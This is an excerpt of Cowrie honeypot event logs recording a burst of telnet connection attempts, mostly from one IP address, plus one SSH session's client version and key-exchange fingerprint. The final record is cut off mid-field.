{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":50766,"dst_ip":"10.17.0.5","dst_port":23,"session":"33a32fe56b2a","protocol":"telnet","message":"New connection: 160.250.4.73:50766 (10.17.0.5:23) [session: 33a32fe56b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:05.528044Z"}
{"eventid":"cowrie.session.closed","duration":31.77402949333191,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:05.832175Z","src_ip":"64.235.40.29","session":"b39a1ee3790e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40670,"dst_ip":"10.17.0.5","dst_port":23,"session":"55e2308f76a0","protocol":"telnet","message":"New connection: 64.235.40.29:40670 (10.17.0.5:23) [session: 55e2308f76a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:05.890469Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40676,"dst_ip":"10.17.0.5","dst_port":23,"session":"b57844ecb5dd","protocol":"telnet","message":"New connection: 64.235.40.29:40676 (10.17.0.5:23) [session: b57844ecb5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:05.976799Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40690,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eb429e00788","protocol":"telnet","message":"New connection: 64.235.40.29:40690 (10.17.0.5:23) [session: 3eb429e00788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:05.996044Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40706,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2c005a94364","protocol":"telnet","message":"New connection: 64.235.40.29:40706 (10.17.0.5:23) [session: f2c005a94364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:06.077078Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40708,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c3d3adac031","protocol":"telnet","message":"New connection: 64.235.40.29:40708 (10.17.0.5:23) [session: 4c3d3adac031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:06.174700Z"}
{"eventid":"cowrie.session.closed","duration":30.947535514831543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:06.232187Z","src_ip":"64.235.40.29","session":"270cc180014a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40710,"dst_ip":"10.17.0.5","dst_port":23,"session":"3009d0f77592","protocol":"telnet","message":"New connection: 64.235.40.29:40710 (10.17.0.5:23) [session: 3009d0f77592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:06.260916Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40720,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bf5809bcc67","protocol":"telnet","message":"New connection: 64.235.40.29:40720 (10.17.0.5:23) [session: 1bf5809bcc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:06.402992Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40726,"dst_ip":"10.17.0.5","dst_port":23,"session":"07d84dd6b8bd","protocol":"telnet","message":"New connection: 64.235.40.29:40726 (10.17.0.5:23) [session: 07d84dd6b8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:06.439140Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40664,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bec8d99c530","protocol":"telnet","message":"New connection: 64.235.40.29:40664 (10.17.0.5:23) [session: 1bec8d99c530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:06.559167Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40740,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2135e0e47aa","protocol":"telnet","message":"New connection: 64.235.40.29:40740 (10.17.0.5:23) [session: c2135e0e47aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:06.784602Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40756,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe85325d27cc","protocol":"telnet","message":"New connection: 64.235.40.29:40756 (10.17.0.5:23) [session: fe85325d27cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:06.942070Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40770,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c6453f7996f","protocol":"telnet","message":"New connection: 64.235.40.29:40770 (10.17.0.5:23) [session: 0c6453f7996f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:07.022253Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40786,"dst_ip":"10.17.0.5","dst_port":23,"session":"175f4ab85a93","protocol":"telnet","message":"New connection: 64.235.40.29:40786 (10.17.0.5:23) [session: 175f4ab85a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:07.221663Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40800,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cd9a913daf7","protocol":"telnet","message":"New connection: 64.235.40.29:40800 (10.17.0.5:23) [session: 6cd9a913daf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:07.228588Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40812,"dst_ip":"10.17.0.5","dst_port":23,"session":"95023050e891","protocol":"telnet","message":"New connection: 64.235.40.29:40812 (10.17.0.5:23) [session: 95023050e891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:07.304890Z"}
{"eventid":"cowrie.session.closed","duration":31.312697649002075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:07.467892Z","src_ip":"64.235.40.29","session":"22a5df9f8d6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.947323083877563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:07.929636Z","src_ip":"64.235.40.29","session":"70c272b5d9da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40814,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab5b4bb35016","protocol":"telnet","message":"New connection: 64.235.40.29:40814 (10.17.0.5:23) [session: ab5b4bb35016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:08.017067Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40828,"dst_ip":"10.17.0.5","dst_port":23,"session":"7534d6567554","protocol":"telnet","message":"New connection: 64.235.40.29:40828 (10.17.0.5:23) [session: 7534d6567554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:08.059125Z"}
{"eventid":"cowrie.session.closed","duration":30.252820014953613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:08.069817Z","src_ip":"64.235.40.29","session":"f7748ac16ccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40834,"dst_ip":"10.17.0.5","dst_port":23,"session":"de63d9a48ab1","protocol":"telnet","message":"New connection: 64.235.40.29:40834 (10.17.0.5:23) [session: de63d9a48ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:08.094478Z"}
{"eventid":"cowrie.session.closed","duration":30.52788996696472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:08.184355Z","src_ip":"64.235.40.29","session":"3e256d24f665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16810441017151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:08.238090Z","src_ip":"160.250.4.73","session":"c73d1cb1346a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40844,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c3ec51c574","protocol":"telnet","message":"New connection: 64.235.40.29:40844 (10.17.0.5:23) [session: 05c3ec51c574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:08.250898Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40856,"dst_ip":"10.17.0.5","dst_port":23,"session":"632891801be4","protocol":"telnet","message":"New connection: 64.235.40.29:40856 (10.17.0.5:23) [session: 632891801be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:08.266136Z"}
{"eventid":"cowrie.session.closed","duration":31.56313705444336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:08.596707Z","src_ip":"64.235.40.29","session":"cb766bc1bf03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43352,"dst_ip":"159.203.135.109","dst_port":22,"session":"f921de9a4ebb","protocol":"ssh","message":"New connection: 122.168.114.167:43352 (159.203.135.109:22) [session: f921de9a4ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:08.949094Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40870,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf19c43f05f","protocol":"telnet","message":"New connection: 64.235.40.29:40870 (10.17.0.5:23) [session: 6bf19c43f05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:09.163242Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40882,"dst_ip":"10.17.0.5","dst_port":23,"session":"366ac6bf922d","protocol":"telnet","message":"New connection: 64.235.40.29:40882 (10.17.0.5:23) [session: 366ac6bf922d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:09.204484Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40892,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d54d19f952a","protocol":"telnet","message":"New connection: 64.235.40.29:40892 (10.17.0.5:23) [session: 2d54d19f952a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:09.266550Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":40656,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bcf6e6fc882","protocol":"telnet","message":"New connection: 160.250.4.73:40656 (10.17.0.5:23) [session: 8bcf6e6fc882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:09.279737Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40906,"dst_ip":"10.17.0.5","dst_port":23,"session":"624f92755006","protocol":"telnet","message":"New connection: 64.235.40.29:40906 (10.17.0.5:23) [session: 624f92755006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:09.319001Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40914,"dst_ip":"10.17.0.5","dst_port":23,"session":"5da39430b7e1","protocol":"telnet","message":"New connection: 64.235.40.29:40914 (10.17.0.5:23) [session: 5da39430b7e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:09.333850Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40930,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df3967997de","protocol":"telnet","message":"New connection: 64.235.40.29:40930 (10.17.0.5:23) [session: 1df3967997de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:09.397120Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40730,"dst_ip":"10.17.0.5","dst_port":23,"session":"26554859a73e","protocol":"telnet","message":"New connection: 64.235.40.29:40730 (10.17.0.5:23) [session: 26554859a73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:09.804085Z"}
{"eventid":"cowrie.session.closed","duration":31.088520050048828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:09.934057Z","src_ip":"64.235.40.29","session":"c27cb1ced5c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40948,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5bb4f442d02","protocol":"telnet","message":"New connection: 64.235.40.29:40948 (10.17.0.5:23) [session: d5bb4f442d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:09.964133Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40758,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3edf80cee91","protocol":"telnet","message":"New connection: 64.235.40.29:40758 (10.17.0.5:23) [session: a3edf80cee91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:10.014646Z"}
{"eventid":"cowrie.session.closed","duration":31.007294178009033,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:10.191229Z","src_ip":"64.235.40.29","session":"4ed2f8f82267","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40952,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce150dba874c","protocol":"telnet","message":"New connection: 64.235.40.29:40952 (10.17.0.5:23) [session: ce150dba874c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:10.312223Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40940,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba947f3f12a","protocol":"telnet","message":"New connection: 64.235.40.29:40940 (10.17.0.5:23) [session: 9ba947f3f12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:10.399851Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40962,"dst_ip":"10.17.0.5","dst_port":23,"session":"edd57ade428d","protocol":"telnet","message":"New connection: 64.235.40.29:40962 (10.17.0.5:23) [session: edd57ade428d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:10.621304Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40978,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc04586e8224","protocol":"telnet","message":"New connection: 64.235.40.29:40978 (10.17.0.5:23) [session: cc04586e8224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:11.000999Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":35030,"dst_ip":"10.17.0.5","dst_port":23,"session":"7de3a2193e4c","protocol":"telnet","message":"New connection: 135.148.33.217:35030 (10.17.0.5:23) [session: 7de3a2193e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:11.099304Z"}
{"eventid":"cowrie.session.closed","duration":30.866300344467163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:11.150923Z","src_ip":"64.235.40.29","session":"fe820a296301","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":35144,"dst_ip":"10.17.0.5","dst_port":23,"session":"b249435fc205","protocol":"telnet","message":"New connection: 135.148.33.217:35144 (10.17.0.5:23) [session: b249435fc205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:11.181811Z"}
{"eventid":"cowrie.session.closed","duration":30.56182050704956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:11.198351Z","src_ip":"104.207.153.205","session":"df5171957fa3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17478322982788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:11.512742Z","src_ip":"64.235.40.29","session":"e04884ea8480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40956,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b7c81ca166a","protocol":"telnet","message":"New connection: 64.235.40.29:40956 (10.17.0.5:23) [session: 5b7c81ca166a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:11.531393Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40992,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf748eb91edd","protocol":"telnet","message":"New connection: 64.235.40.29:40992 (10.17.0.5:23) [session: bf748eb91edd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:11.675786Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40996,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bedc996531d","protocol":"telnet","message":"New connection: 64.235.40.29:40996 (10.17.0.5:23) [session: 5bedc996531d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:11.862831Z"}
{"eventid":"cowrie.session.closed","duration":30.08562731742859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.041738Z","src_ip":"64.235.40.29","session":"2afb2fe126f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.207.153.205","src_port":60992,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dc497fc393b","protocol":"telnet","message":"New connection: 104.207.153.205:60992 (10.17.0.5:23) [session: 8dc497fc393b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.139835Z"}
{"eventid":"cowrie.session.closed","duration":31.20274305343628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.207154Z","src_ip":"64.235.40.29","session":"58758b2fa1e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41006,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fca3fb93e5a","protocol":"telnet","message":"New connection: 64.235.40.29:41006 (10.17.0.5:23) [session: 1fca3fb93e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.211925Z"}
{"eventid":"cowrie.session.closed","duration":30.824625968933105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.216016Z","src_ip":"64.235.40.29","session":"8ddd625285b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04786205291748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.230913Z","src_ip":"64.235.40.29","session":"4083b3e54214","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40908,"dst_ip":"10.17.0.5","dst_port":23,"session":"60d22156896a","protocol":"telnet","message":"New connection: 64.235.40.29:40908 (10.17.0.5:23) [session: 60d22156896a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.348858Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41022,"dst_ip":"10.17.0.5","dst_port":23,"session":"da6a106df2f3","protocol":"telnet","message":"New connection: 64.235.40.29:41022 (10.17.0.5:23) [session: da6a106df2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.554658Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41030,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9d45d714226","protocol":"telnet","message":"New connection: 64.235.40.29:41030 (10.17.0.5:23) [session: f9d45d714226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.643720Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":40668,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb962c276c12","protocol":"telnet","message":"New connection: 160.250.4.73:40668 (10.17.0.5:23) [session: fb962c276c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.749086Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":40678,"dst_ip":"10.17.0.5","dst_port":23,"session":"da131c0c882c","protocol":"telnet","message":"New connection: 160.250.4.73:40678 (10.17.0.5:23) [session: da131c0c882c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.963774Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41042,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ece9b00a3cf","protocol":"telnet","message":"New connection: 64.235.40.29:41042 (10.17.0.5:23) [session: 0ece9b00a3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:12.973074Z"}
{"eventid":"cowrie.session.closed","duration":30.68410634994507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.040470Z","src_ip":"64.235.40.29","session":"f454c6ca7d08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41068,"dst_ip":"10.17.0.5","dst_port":23,"session":"e28201664ae1","protocol":"telnet","message":"New connection: 64.235.40.29:41068 (10.17.0.5:23) [session: e28201664ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.187215Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41078,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c5916a005b","protocol":"telnet","message":"New connection: 64.235.40.29:41078 (10.17.0.5:23) [session: 05c5916a005b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.270282Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41020,"dst_ip":"10.17.0.5","dst_port":23,"session":"4afa2e466a8f","protocol":"telnet","message":"New connection: 64.235.40.29:41020 (10.17.0.5:23) [session: 4afa2e466a8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.388680Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41084,"dst_ip":"10.17.0.5","dst_port":23,"session":"105adba37530","protocol":"telnet","message":"New connection: 64.235.40.29:41084 (10.17.0.5:23) [session: 105adba37530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.416138Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41098,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e76542d0d0c","protocol":"telnet","message":"New connection: 64.235.40.29:41098 (10.17.0.5:23) [session: 4e76542d0d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.484401Z"}
{"eventid":"cowrie.session.closed","duration":31.20823860168457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.495245Z","src_ip":"64.235.40.29","session":"4f4efb1597de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":41112,"dst_ip":"10.17.0.5","dst_port":23,"session":"6355f0d35a0d","protocol":"telnet","message":"New connection: 64.235.40.29:41112 (10.17.0.5:23) [session: 6355f0d35a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.513036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:53:13.848641Z","src_ip":"122.168.114.167","session":"f921de9a4ebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@o